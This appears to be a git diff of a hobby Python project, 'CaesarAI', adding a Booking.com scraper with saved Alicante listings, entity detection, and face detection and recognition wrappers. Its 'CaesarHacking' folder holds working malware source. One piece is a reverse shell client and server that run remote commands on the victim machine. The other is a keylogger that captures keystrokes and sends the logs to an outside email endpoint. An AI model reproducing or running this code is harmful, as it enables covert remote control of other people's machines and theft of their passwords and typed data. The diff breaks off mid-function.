CaesarAI Deployed

.expo/README.md

@@ -0,0 +1,15 @@
+> Why do I have a folder named ".expo" in my project?
+
+The ".expo" folder is created when an Expo project is started using "expo start" command.
+
+> What do the files contain?
+
+- "devices.json": contains information about devices that have recently opened this project. This is used to populate the "Development sessions" list in your development builds.
+- "packager-info.json": contains port numbers and process PIDs that are used to serve the application to the mobile device/simulator.
+- "settings.json": contains the server configuration that is used to serve the application manifest.
+
+> Should I commit the ".expo" folder?
+
+No, you should not share the ".expo" folder. It does not contain any information that is relevant for other developers working on the project, it is specific to your machine.
+
+Upon project creation, the ".expo" folder is already added to your ".gitignore" file.

.expo/settings.json

@@ -0,0 +1,8 @@
+{
+  "hostType": "lan",
+  "lanType": "ip",
+  "dev": true,
+  "minify": false,
+  "urlRandomness": null,
+  "https": false
+}

.gitattributes

@@ -0,0 +1,45 @@
+*.7z filter=lfs diff=lfs merge=lfs -text
+*.arrow filter=lfs diff=lfs merge=lfs -text
+*.bin filter=lfs diff=lfs merge=lfs -text
+*.bz2 filter=lfs diff=lfs merge=lfs -text
+*.ckpt filter=lfs diff=lfs merge=lfs -text
+*.ftz filter=lfs diff=lfs merge=lfs -text
+*.gz filter=lfs diff=lfs merge=lfs -text
+*.h5 filter=lfs diff=lfs merge=lfs -text
+*.joblib filter=lfs diff=lfs merge=lfs -text
+*.lfs.* filter=lfs diff=lfs merge=lfs -text
+*.mlmodel filter=lfs diff=lfs merge=lfs -text
+*.model filter=lfs diff=lfs merge=lfs -text
+*.msgpack filter=lfs diff=lfs merge=lfs -text
+*.npy filter=lfs diff=lfs merge=lfs -text
+*.npz filter=lfs diff=lfs merge=lfs -text
+*.onnx filter=lfs diff=lfs merge=lfs -text
+*.ot filter=lfs diff=lfs merge=lfs -text
+*.parquet filter=lfs diff=lfs merge=lfs -text
+*.pb filter=lfs diff=lfs merge=lfs -text
+*.pickle filter=lfs diff=lfs merge=lfs -text
+*.pkl filter=lfs diff=lfs merge=lfs -text
+*.pt filter=lfs diff=lfs merge=lfs -text
+*.pth filter=lfs diff=lfs merge=lfs -text
+*.rar filter=lfs diff=lfs merge=lfs -text
+*.safetensors filter=lfs diff=lfs merge=lfs -text
+saved_model/**/* filter=lfs diff=lfs merge=lfs -text
+*.tar.* filter=lfs diff=lfs merge=lfs -text
+*.tflite filter=lfs diff=lfs merge=lfs -text
+*.tgz filter=lfs diff=lfs merge=lfs -text
+*.wasm filter=lfs diff=lfs merge=lfs -text
+*.xz filter=lfs diff=lfs merge=lfs -text
+*.zip filter=lfs diff=lfs merge=lfs -text
+*.zst filter=lfs diff=lfs merge=lfs -text
+*tfevents* filter=lfs diff=lfs merge=lfs -text
+*.jpg filter=lfs diff=lfs merge=lfs -text
+*.names filter=lfs diff=lfs merge=lfs -text
+*.cfg filter=lfs diff=lfs merge=lfs -text
+*.weights filter=lfs diff=lfs merge=lfs -text
+hello.mp3 filter=lfs diff=lfs merge=lfs -text
+artificial[[:space:]]neural[[:space:]]networks.png filter=lfs diff=lfs merge=lfs -text
+caesarapis.json filter=lfs diff=lfs merge=lfs -text
+caesartriggers.json filter=lfs diff=lfs merge=lfs -text
+*.caffemodel filter=lfs diff=lfs merge=lfs -text
+haarcascade_fontalface_default.xml filter=lfs diff=lfs merge=lfs -text
+deploy.prototxt.txt filter=lfs diff=lfs merge=lfs -text

.gitignore

@@ -0,0 +1,7 @@
+res10_300x300_ssd_iter_140000_fp16.caffemodel
+deploy.prototxt.txt
+CaesarKivy
+*.mp4
+*.avi
+*.wav
+beewareenv

Bookings/alicante_bookings.json

@@ -0,0 +1,116 @@
+{
+    "alicante_bookings_lower_than_2000": [
+      {
+        "address": "Alicante",
+        "assumed_final_price": 1976.3999999999999,
+        "assumed_vat": "20.0%",
+        "booking": "7 nights, 8 adults",
+        "checkin_date": "2023-8-15",
+        "checkout_date": "2023-8-22",
+        "city": "Alicante",
+        "distance": "0.8 miles from centre",
+        "location": "https://www.booking.com/hotel/es/beach-5-min-relax.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=15&hapos=15&sr_order=popularity&srpvid=01528e460f4b0724&srepoch=1672949646&all_sr_blocks=865019901_354653449_8_0_0&highlighted_blocks=865019901_354653449_8_0_0&matching_block_id=865019901_354653449_8_0_0&sr_pri_blocks=865019901_354653449_8_0_0__155288&from_beach_sr=1&from=searchresults&map=1",
+        "price": 1647.0,
+        "rating": 8.5,
+        "reviews": "74 reviews",
+        "room": "Apartment",
+        "title": "Beach 5 MIN Playa"
+      },
+      {
+        "address": "Alicante",
+        "assumed_final_price": 1363.2,
+        "assumed_vat": "20.0%",
+        "booking": "7 nights, 8 adults",
+        "checkin_date": "2023-8-15",
+        "checkout_date": "2023-8-22",
+        "city": "Alicante",
+        "distance": "1 miles from centre",
+        "location": "https://www.booking.com/hotel/es/gonzalo-mengual-apartment.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=23&hapos=23&sr_order=popularity&srpvid=01528e460f4b0724&srepoch=1672949646&all_sr_blocks=368159701_295762440_8_0_0&highlighted_blocks=368159701_295762440_8_0_0&matching_block_id=368159701_295762440_8_0_0&sr_pri_blocks=368159701_295762440_8_0_0__107100&from_beach_sr=1&from=searchresults&map=1",
+        "price": 1136.0,
+        "rating": 7.5,
+        "reviews": "97 reviews",
+        "room": "Apartment",
+        "title": "Very best flat with sea view, just 800m Postiguet-Beach"
+      },
+      {
+        "address": "Alicante",
+        "assumed_final_price": 1363.2,
+        "assumed_vat": "20.0%",
+        "booking": "7 nights, 8 adults",
+        "checkin_date": "2023-8-15",
+        "checkout_date": "2023-8-22",
+        "city": "Alicante",
+        "distance": "1 miles from centre",
+        "location": "https://www.booking.com/hotel/es/gonzalo-mengual-apartment.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=1&hapos=26&sr_order=popularity&srpvid=44078e50e09a0255&srepoch=1672949666&all_sr_blocks=368159701_295762440_8_0_0&highlighted_blocks=368159701_295762440_8_0_0&matching_block_id=368159701_295762440_8_0_0&sr_pri_blocks=368159701_295762440_8_0_0__107100&from_beach_sr=1&from=searchresults&map=1",
+        "price": 1136.0,
+        "rating": 9.2,
+        "reviews": "17 reviews",
+        "room": "Apartment",
+        "title": "Very best flat with sea view, just 800m Postiguet-Beach"
+      },
+      {
+        "address": "Alicante",
+        "assumed_final_price": 1959.6,
+        "assumed_vat": "20.0%",
+        "booking": "7 nights, 8 adults",
+        "checkin_date": "2023-8-15",
+        "checkout_date": "2023-8-22",
+        "city": "Alicante",
+        "distance": "0.4 miles from centre",
+        "location": "https://www.booking.com/hotel/es/espacioso-luminoso-coqueto-y-muy-centrico.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=18&hapos=43&sr_order=popularity&srpvid=44078e50e09a0255&srepoch=1672949666&all_sr_blocks=460841701_167414053_8_0_0&highlighted_blocks=460841701_167414053_8_0_0&matching_block_id=460841701_167414053_8_0_0&sr_pri_blocks=460841701_167414053_8_0_0__154000&from_beach_sr=1&from=searchresults&map=1",
+        "price": 1633.0,
+        "rating": 6.7,
+        "reviews": "4 reviews",
+        "room": "Apartment",
+        "title": "Espacioso, luminoso, coqueto, y muy céntrico"
+      },
+      {
+        "address": "Alicante",
+        "assumed_final_price": 1585.2,
+        "assumed_vat": "20.0%",
+        "booking": "7 nights, 8 adults",
+        "checkin_date": "2023-8-15",
+        "checkout_date": "2023-8-22",
+        "city": "Alicante",
+        "distance": "0.4 miles from centre",
+        "location": "https://www.booking.com/hotel/es/duplex-apartment-in-apart-alicante-center-with-private-terrace-and-jacuzzi.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=3&hapos=128&sr_order=popularity&srpvid=04db8e76e60c0946&srepoch=1672949742&all_sr_blocks=856186404_353169334_0_0_0%2C856186402_353169334_0_0_0&highlighted_blocks=856186404_353169334_0_0_0%2C856186402_353169334_0_0_0&matching_block_id=856186404_353169334_0_0_0&sr_pri_blocks=856186404_353169334_0_0_0__69552%2C856186402_353169334_0_0_0__55062&from_beach_sr=1&from=searchresults&map=1",
+        "price": 1321.0,
+        "rating": 8.3,
+        "reviews": "4 reviews",
+        "room": "Studio Apartment",
+        "title": "Happy Life Apartments"
+      },
+      {
+        "address": "Alicante",
+        "assumed_final_price": 1904.3999999999999,
+        "assumed_vat": "20.0%",
+        "booking": "7 nights, 8 adults",
+        "checkin_date": "2023-8-15",
+        "checkout_date": "2023-8-22",
+        "city": "Alicante",
+        "distance": "0.3 miles from centre",
+        "location": "https://www.booking.com/hotel/es/the-market-hostel.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=20&hapos=170&sr_order=popularity&srpvid=4b6a8e7ff36d0089&srepoch=1672949760&all_sr_blocks=385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580304_337859799_0_0_0%2C385580304_337859799_0_0_0%2C385580304_337859799_0_0_0&highlighted_blocks=385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580304_337859799_0_0_0%2C385580304_337859799_0_0_0%2C385580304_337859799_0_0_0&matching_block_id=385580305_337859799_0_0_0&sr_pri_blocks=385580305_337859799_0_0_0__18456%2C385580305_337859799_0_0_0__18456%2C385580305_337859799_0_0_0__18456%2C385580305_337859799_0_0_0__18456%2C385580305_337859799_0_0_0__18456%2C385580304_337859799_0_0_0__19139%2C385580304_337859799_0_0_0__19139%2C385580304_337859799_0_0_0__19139&from_beach_sr=1&from=searchresults&map=1",
+        "price": 1587.0,
+        "rating": 8.7,
+        "reviews": "886 reviews",
+        "room": "Bed in 10-Bed Mixed Dormitory Room",
+        "title": "The Market Hostel"
+      },
+      {
+        "address": "Alicante",
+        "assumed_final_price": 1514.3999999999999,
+        "assumed_vat": "20.0%",
+        "booking": "7 nights, 8 adults",
+        "checkin_date": "2023-8-15",
+        "checkout_date": "2023-8-22",
+        "city": "Alicante",
+        "distance": "1.8 miles from centre",
+        "location": "https://www.booking.com/hotel/es/carrer-abad-fernandez-helguera.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=21&hapos=171&sr_order=popularity&srpvid=4b6a8e7ff36d0089&srepoch=1672949760&all_sr_blocks=922570301_363985271_2_0_0%2C922570305_363985271_2_0_0%2C922570303_363985271_2_0_0%2C922570304_363985271_2_0_0&highlighted_blocks=922570301_363985271_2_0_0%2C922570305_363985271_2_0_0%2C922570303_363985271_2_0_0%2C922570304_363985271_2_0_0&matching_block_id=922570301_363985271_2_0_0&sr_pri_blocks=922570301_363985271_2_0_0__21000%2C922570305_363985271_2_0_0__28000%2C922570303_363985271_2_0_0__31500%2C922570304_363985271_2_0_0__38500&from_beach_sr=1&from_sustainable_property_sr=1&from=searchresults&map=1",
+        "price": 1262.0,
+        "rating": 4.2,
+        "reviews": "22 reviews",
+        "room": "Economy Double Room",
+        "title": "Carrer Abad Fernández Helguera"
+      }
+    ]
+  }

CaesarDetectEntity.py

@@ -0,0 +1,32 @@
+import re
+import spacy
+import gtts
+class CaesarDetectEntity:
+  def __init__(self):
+    self.languages = {v: k for k, v in gtts.lang.tts_langs().items()}
+    self.NER = spacy.load("en_core_web_sm")
+    self.main_entities = {"email":"ORG","translate":"NORP"}
+  def index_of_word(self,word,text):
+    matches_start = re.finditer(word.lower(), text.lower())
+    matches_position_start = [match.start() for match in matches_start]
+
+    # matches_position_end will be a list of ending index positions
+    matches_end = re.finditer(word.lower(), text.lower())
+    matches_position_end = [match.end() for match in matches_end]
+    return matches_position_start[0],matches_position_end[0]
+  def show_entites(self,text):
+    text1 = self.NER(text)
+    for word in text1.ents:
+        print(word.text,word.label_)
+  def run(self,word,text,entity="NORP"):
+    try:
+      text1= self.NER(text)
+      target_lang = [word.text for word in text1.ents if word.label_ == entity][0]
+      source_text = text[self.index_of_word(word,text)[-1]:self.index_of_word(target_lang,text)[0]].replace(" to","").replace(" into","").replace(" in","").strip()
+      #api_call = f"translate({source_text},'{self.languages[target_lang.capitalize()]}')"
+      return source_text,self.languages[target_lang.capitalize()]
+    except (IndexError,KeyError) as kex:
+      source_text = text[self.index_of_word(word,text)[-1]:].replace(" to","").replace(" into","").replace(" in","").strip()
+      #api_call = f"translate({source_text},'{self.languages[target_lang.capitalize()]}')"
+      languages = None
+      return source_text,languages

CaesarFaceDetection/caesarfd.py

@@ -0,0 +1,48 @@
+import cv2
+import numpy as np
+
+
+
+class CaesarFaceDetection:
+    def __init__(self) -> None:
+        # https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt
+        prototxt_path = "CaesarFaceDetection/weights/deploy.prototxt.txt"
+        # https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel 
+        model_path = "CaesarFaceDetection/weights/res10_300x300_ssd_iter_140000_fp16.caffemodel"
+
+        # load Caffe model
+        self.model = cv2.dnn.readNetFromCaffe(prototxt_path, model_path)
+    def detect_face(self,image, showtext=False,snapcropface=False):
+        h, w = image.shape[:2]
+        # preprocess the image: resize and performs mean subtraction
+        blob = cv2.dnn.blobFromImage(image, 1.0, (300, 300), (104.0, 177.0, 123.0))
+        # set the image into the input of the neural network
+        self.model.setInput(blob)
+        # perform inference and get the result
+        output = np.squeeze(self.model.forward())
+        font_scale = 1.0
+        for i in range(0, output.shape[0]):
+            # get the confidence
+            confidence = output[i, 2]
+            # if confidence is above 50%, then draw the surrounding box
+            if confidence > 0.5:
+                # get the surrounding box cordinates and upscale them to original image
+                box = output[i, 3:7] * np.array([w, h, w, h])
+                # convert to integers
+                start_x, start_y, end_x, end_y = box.astype(np.int)
+                # draw the rectangle surrounding the face
+                start_point = (start_x, start_y)
+                end_point = (end_x, end_y)
+                if snapcropface == True:
+                    factor_add = 20
+                    crop_img = image[start_y- factor_add:end_y+ factor_add, start_x- factor_add:end_x + factor_add]
+                    return crop_img
+                    #cv2.imshow("cropped", crop_img)
+                    #cv2.waitKey(0)
+                
+                cv2.rectangle(image,start_point,end_point, color=(255, 0, 0), thickness=2)
+                # draw text as well
+                if showtext == True:
+                    cv2.putText(image, f"{confidence*100:.2f}%", (start_x, start_y-5), cv2.FONT_HERSHEY_SIMPLEX, font_scale, (255, 0, 0), 2)
+        if snapcropface != True:
+            return image

CaesarFaceDetection/cascades/haarcascade_fontalface_default.xml

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:a1b5468d67aa6c291f3b1d2bf98181844e4d0433c31d696a2198029e0e94bc7b
+size 930126

CaesarFaceRecognition/caesardeepface.py

@@ -0,0 +1,50 @@
+from deepface import DeepFace
+
+class CaesarDeepFace:
+    """
+    https://github.com/serengil/deepface
+    """
+    def __init__(self) -> None:
+        self.metrics = ["cosine", "euclidean", "euclidean_l2"]
+        self.models = ["VGG-Face", "Facenet", "Facenet512", "OpenFace", "DeepFace", "DeepID", "ArcFace", "Dlib", "SFace"]
+        self.backends = [
+            'opencv', 
+            'ssd', 
+            'dlib', 
+            'mtcnn', 
+            'retinaface', 
+            'mediapipe'
+            ]
+    def face_authentication(self,filename1="img1.jpg",filename2="img2.jpg"):
+        #face verification
+        # Value Error
+        try:
+            result = DeepFace.verify(img1_path =filename1 , 
+                    img2_path = filename2, 
+                    distance_metric = self.metrics[0],
+                    model_name = self.models[0],
+                    detector_backend = self.backends[0]
+            )
+            return result
+        except ValueError as vex:
+            return {"message":"Face wasn't detected","error":f"{type(vex)},{vex}"}
+    def face_recognition(self,filename,db_path="C:/workspace/my_db"):
+        dfs = DeepFace.find(img_path =filename, 
+          db_path = db_path, 
+          distance_metric = self.metrics[2])
+        return dfs
+    def face_analyze(self,filename="img1.jpg"):
+        objs = DeepFace.analyze(img_path = filename, 
+        actions = ['age', 'gender', 'race', 'emotion'])
+        return objs
+    def face_embeddigns(self,filename):
+        embedding_objs = DeepFace.represent(img_path = filename)
+        return embedding_objs
+    def face_streaming(self,db_path="C:/User/Sefik/Desktop/database"):
+        DeepFace.stream(db_path = db_path)
+        
+
+if __name__ == "__main__":
+    caesardeepface = CaesarDeepFace()
+    result =  caesardeepface.face_authentication(filename2="img3.jpg")
+    print(result)

CaesarHacking/caesarReverseShell/client.py

@@ -0,0 +1,48 @@
+import socket
+import os
+import subprocess
+import sys
+
+SERVER_HOST = sys.argv[1]
+SERVER_PORT = 5003
+BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
+# separator string for sending 2 messages in one go
+SEPARATOR = "<sep>"
+
+# create the socket object
+s = socket.socket()
+# connect to the server
+s.connect((SERVER_HOST, SERVER_PORT))
+
+# get the current directory
+cwd = os.getcwd()
+s.send(cwd.encode())
+
+
+while True:
+    # receive the command from the server
+    command = s.recv(BUFFER_SIZE).decode()
+    splited_command = command.split()
+    if command.lower() == "exit":
+        # if the command is exit, just break out of the loop
+        break
+    if splited_command[0].lower() == "cd":
+        # cd command, change directory
+        try:
+            os.chdir(' '.join(splited_command[1:]))
+        except FileNotFoundError as e:
+            # if there is an error, set as the output
+            output = str(e)
+        else:
+            # if operation is successful, empty message
+            output = ""
+    else:
+        # execute the command and retrieve the results
+        output = subprocess.getoutput(command)
+    # get the current working directory as output
+    cwd = os.getcwd()
+    # send the results back to the server
+    message = f"{output}{SEPARATOR}{cwd}"
+    s.send(message.encode())
+# close client connection
+s.close()

CaesarHacking/caesarReverseShell/server.py

@@ -0,0 +1,42 @@
+import socket
+
+SERVER_HOST = "0.0.0.0"
+SERVER_PORT = 5003
+BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
+# separator string for sending 2 messages in one go
+SEPARATOR = "<sep>"
+# create a socket object
+s = socket.socket()
+
+# bind the socket to all IP addresses of this host
+s.bind((SERVER_HOST, SERVER_PORT))
+
+s.listen(5)
+print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
+
+# accept any connections attempted
+client_socket, client_address = s.accept()
+print(f"{client_address[0]}:{client_address[1]} Connected!")
+
+# receiving the current working directory of the client
+cwd = client_socket.recv(BUFFER_SIZE).decode()
+print("[+] Current working directory:", cwd)
+
+
+while True:
+    # get the command from prompt
+    command = input(f"{cwd} $> ")
+    if not command.strip():
+        # empty command
+        continue
+    # send the command to the client
+    client_socket.send(command.encode())
+    if command.lower() == "exit":
+        # if the command is exit, just break out of the loop
+        break
+    # retrieve command results
+    output = client_socket.recv(BUFFER_SIZE).decode()
+    # split command output and current directory
+    results, cwd = output.split(SEPARATOR)
+    # print output
+    print(results)

CaesarHacking/caesarkeylogger.py

@@ -0,0 +1,135 @@
+import sys
+import base64
+import keyboard # for keylogs
+import requests
+import smtplib, ssl # for sending email using SMTP protocol (gmail)
+# Timer is to make a method runs after an `interval` amount of time
+from threading import Timer
+from datetime import datetime
+from email.mime.multipart import MIMEMultipart
+from email.mime.text import MIMEText
+
+class Keylogger:
+    def __init__(self, interval, report_method="email"):
+        # we gonna pass SEND_REPORT_EVERY to interval
+        self.interval = interval
+        self.report_method = report_method
+        # this is the string variable that contains the log of all 
+        # the keystrokes within `self.interval`
+        self.log = ""
+        # record start & end datetimes
+        self.start_dt = datetime.now()
+        self.end_dt = datetime.now()
+
+    def callback(self, event):
+        """
+        This callback is invoked whenever a keyboard event is occured
+        (i.e when a key is released in this example)
+        """
+        name = event.name
+        if len(name) > 1:
+            # not a character, special key (e.g ctrl, alt, etc.)
+            # uppercase with []
+            if name == "space":
+                # " " instead of "space" hello world my name is amari
+                name = " "
+            elif name == "enter":
+                # add a new line whenever an ENTER is pressed
+                name = "[ENTER]\n"
+            elif name == "decimal":
+                name = "."
+            else:
+                # replace spaces with underscores
+                name = name.replace(" ", "_")
+                name = f"[{name.upper()}]"
+        # finally, add the key name to our global `self.log` variable
+        self.log += name
+    
+    def update_filename(self):
+        # construct the filename to be identified by start & end datetimes
+        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
+        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
+        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
+
+    def report_to_file(self):
+        """This method creates a log file in the current directory that contains
+        the current keylogs in the `self.log` variable"""
+        # open the file in write mode (create it)
+        with open(f"{self.filename}.txt", "w") as f:
+            # write the keylogs to the file
+            print(self.log, file=f)
+        print(f"[+] Saved {self.filename}.txt")
+
+
+    def sendmail(self, recipient_email , message, verbose=1):
+        # manages a connection to an SMTP server
+        # in our case it's for Microsoft365, Outlook, Hotmail, and live.com
+        response = requests.post("https://revisionbank-email.onrender.com/raspsendemail",json={"raspsendemail":{"email":recipient_email,"message":message,"subject":"Caesar Guest KeyLogger"}}).json()
+        
+        if verbose:
+            print(f"{datetime.now()} - Sent an email to {recipient_email} containing:  {message}")
+            print(response)
+
+    def report(self):
+        """
+        This function gets called every `self.interval`
+        It basically sends keylogs and resets `self.log` variable
+        """
+        if self.log:
+            # if there is something in log, report it
+            self.end_dt = datetime.now()
+            # update `self.filename`
+            self.update_filename()
+            if self.report_method == "email":
+                self.sendmail(TO_EMAIL_ADDRESS, self.log)
+            elif self.report_method == "file":
+                self.report_to_file()
+                # if you don't want to print in the console, comment below line
+                print(f"[{self.filename}] - {self.log}")
+            self.start_dt = datetime.now()
+        self.log = ""
+        timer = Timer(interval=self.interval, function=self.report)
+        # set the thread as daemon (dies when main thread die)
+        timer.daemon = True
+        # start the timer
+        timer.start()
+
+    def start(self):
+        # record the start datetime
+        self.start_dt = datetime.now()
+        # start the keylogger
+        keyboard.on_release(callback=self.callback)
+        # start reporting the keylogs
+        self.report()
+        # make a simple message
+        print(f"{datetime.now()} - Started keylogger")
+        # block the current thread, wait until CTRL+C is pressed
+        keyboard.wait()
+
+    
+if __name__ == "__main__":
+    # in seconds, 60 means 1 minute and so on
+    if len(sys.argv) == 3:
+        if sys.argv[1] == "help":
+            print("caesarkeylogger.exe <recipientemail> <send_report_every>")
+        elif sys.argv[1] != "help":
+            TO_EMAIL_ADDRESS = sys.argv[1]
+            SEND_REPORT_EVERY = int(sys.argv[2])
+            # if you want a keylogger to send to your email
+            # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
+            # if you want a keylogger to record keylogs to a local file 
+            # (and then send it using your favorite method)
+            past = datetime(2022, 12, 30)
+            present = datetime.now()
+        
+            if past.date() >= present.date():
+                report_method = "email"
+            else:
+                report_method= "file"
+
+            keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method=report_method)
+            keylogger.start()
+
+
+    elif len(sys.argv) != 3:
+        print("caesarkeylogger.exe <recipientemail> <send_report_every>")

CaesarHacking/test.py

@@ -0,0 +1,3 @@
+from datetime import datetime
+
+

CaesarHotelBooking/caesarhotelbooking.py

@@ -0,0 +1,186 @@
+# -*- coding: utf-8 -*-
+import itertools
+import re
+import sys
+import requests
+import json
+from bs4 import BeautifulSoup
+from tqdm import tqdm
+
+class CaesarHotelBooking:
+    def __init__(self) -> None:
+        pass
+
+    @classmethod
+    def create_url(self,city,num_of_adults,num_of_rooms,num_of_children,checkin_date,checkout_date,purpose,page_num=1):
+        # pages go in 25 intervals
+        self.checkin_date = checkin_date
+        self.checkout_date = checkout_date
+        self.city = city
+        page_num_offset = (page_num-1) * 25
+        url = f"https://www.booking.com/searchresults.en-gb.html?ss={city}&label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&lang=en-gb&sb=1&src_elem=sb&src=searchresults&checkin={checkin_date}&checkout={checkout_date}&group_adults={num_of_adults}&no_rooms={num_of_rooms}&group_children={num_of_children}&sb_travel_purpose={purpose}&offset={page_num_offset}"
+        return url
+    @staticmethod
+    def find_indices(list_to_check, item_to_find):
+        indices = []
+        for idx, value in enumerate(list_to_check):
+            if value == item_to_find:
+                indices.append(idx)
+        return indices
+
+
+    @classmethod
+    def caesar_get_hotel_info(self,url):
+        bookings = []
+        assumed_vat_percentage = 0.2
+        rating_regex = re.compile(r"^(?=.*?\d)\d*[.,]?\d*$")
+        headers = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9'}
+        response=requests.get(url,headers=headers)
+        soup=BeautifulSoup(response.content,'lxml')
+
+        title = [titl.text for titl in soup.find_all('div', attrs={'data-testid': 'title'})]
+        city_list  = [self.city.capitalize() for vatind in range(len(title))]
+        
+        address = [addr.text for addr in soup.find_all('span', attrs={'data-testid': 'address'})]
+        price = [float(price.text.replace("£","").replace(",","").replace("US$","")) for price in soup.find_all('span', attrs={'data-testid': 'price-and-discounted-price'})]
+        assumed_vat = [f"{assumed_vat_percentage *100}%" for vatind in range(len(price))]
+        checkin = [self.checkin_date for checkin in range(len(title))]
+        checkout = [self.checkout_date for checkout in range(len(title))]
+        assumed_final_price = [pr * (1 +assumed_vat_percentage ) for pr in price]
+        booking = [xnights.text for xnights in soup.find_all('div', attrs={'data-testid': 'price-for-x-nights'})]
+        room = [recounit.find("div",attrs={'class': 'd8eab2cf7f'}).text for recounit in soup.find_all('div', attrs={'data-testid': 'recommended-units'})]
+        location = [recounit.find("a").get("href") for recounit in soup.find_all('div', attrs={'data-testid': 'location'})]
+    
+        distance = [dist.text for dist in soup.find_all('span', attrs={'data-testid': 'distance'})]
+        reviews = [rev.text for rev in soup.find_all('div', attrs={'class': 'd8eab2cf7f c90c0a70d3 db63693c62'})]
+        rating = [float(rate.text) for rate in soup.select("[aria-label]") if rating_regex.match(rate.text) and "." in rate.text]
+        
+
+        for bookingind in range(len(title)):
+            booking_info = {}
+            try:
+                city_json = {'city':city_list[bookingind]}
+                booking_info.update(city_json)
+            except IndexError as ex:
+                pass
+            try:
+                title_json = {'title':title[bookingind]}
+                booking_info.update(title_json)
+            except IndexError as ex:
+                continue
+            try:
+                checkin_date_json = {'checkin_date':checkin[bookingind]}
+                booking_info.update(checkin_date_json)
+            except IndexError as ex:
+                pass
+            try:
+                checkout_date_json = {'checkout_date':checkout[bookingind]}
+                booking_info.update(checkout_date_json)
+            except IndexError as ex:
+                pass
+            try:
+                address_json = {'address':address[bookingind]}
+                booking_info.update(address_json)
+            except IndexError as ex:
+                pass
+            try:
+                price_json = {'price':price[bookingind]}
+                booking_info.update(price_json)
+            except IndexError as ex:
+                pass
+            try:
+                assumed_vat_json = {'assumed_vat':assumed_vat[bookingind]}
+                booking_info.update(assumed_vat_json)
+            except IndexError as ex:
+                pass
+            try:
+                assumed_final_price_json = {'assumed_final_price':assumed_final_price[bookingind]}
+                booking_info.update(assumed_final_price_json)
+            except IndexError as ex:
+                pass
+            try:
+                booking_json = {'booking':booking[bookingind]}
+                booking_info.update(booking_json)
+            except IndexError as ex:
+                pass
+            try:
+                distance_json = {'distance':distance[bookingind]}
+                booking_info.update(distance_json)
+            except IndexError as ex:
+                pass
+            try:
+                reviews_json = {'reviews':reviews[bookingind]}
+                booking_info.update(reviews_json)
+            except IndexError as ex:
+                pass
+            try:
+                room_json = {'room':room[bookingind]}
+                booking_info.update(room_json)
+            except IndexError as ex:
+                pass
+            try:
+                rating_json = {'rating':rating[bookingind]}
+                booking_info.update(rating_json)
+            except IndexError as ex:
+                pass
+            try:
+                location_json = {'location':location[bookingind]}
+                booking_info.update(location_json)
+            except IndexError as ex:
+                pass
+            bookings.append(booking_info)
+
+        return bookings
+def store_lower_than_3000(city,range):
+    def condition(dic):
+        ''' Define your own condition here'''
+        try:
+            price = dic['assumed_final_price']
+            return price <= range
+        except KeyError as kex:
+            return False
+    with open(f"{city.lower()}_bookings.json","r") as f:
+        bookings = json.load(f)[f"{city.lower()}_bookings"]
+    
+    filtered = [d for d in bookings if condition(d)]
+    with open(f"{city.lower()}_smaller_than_{range}.json","w+") as f:
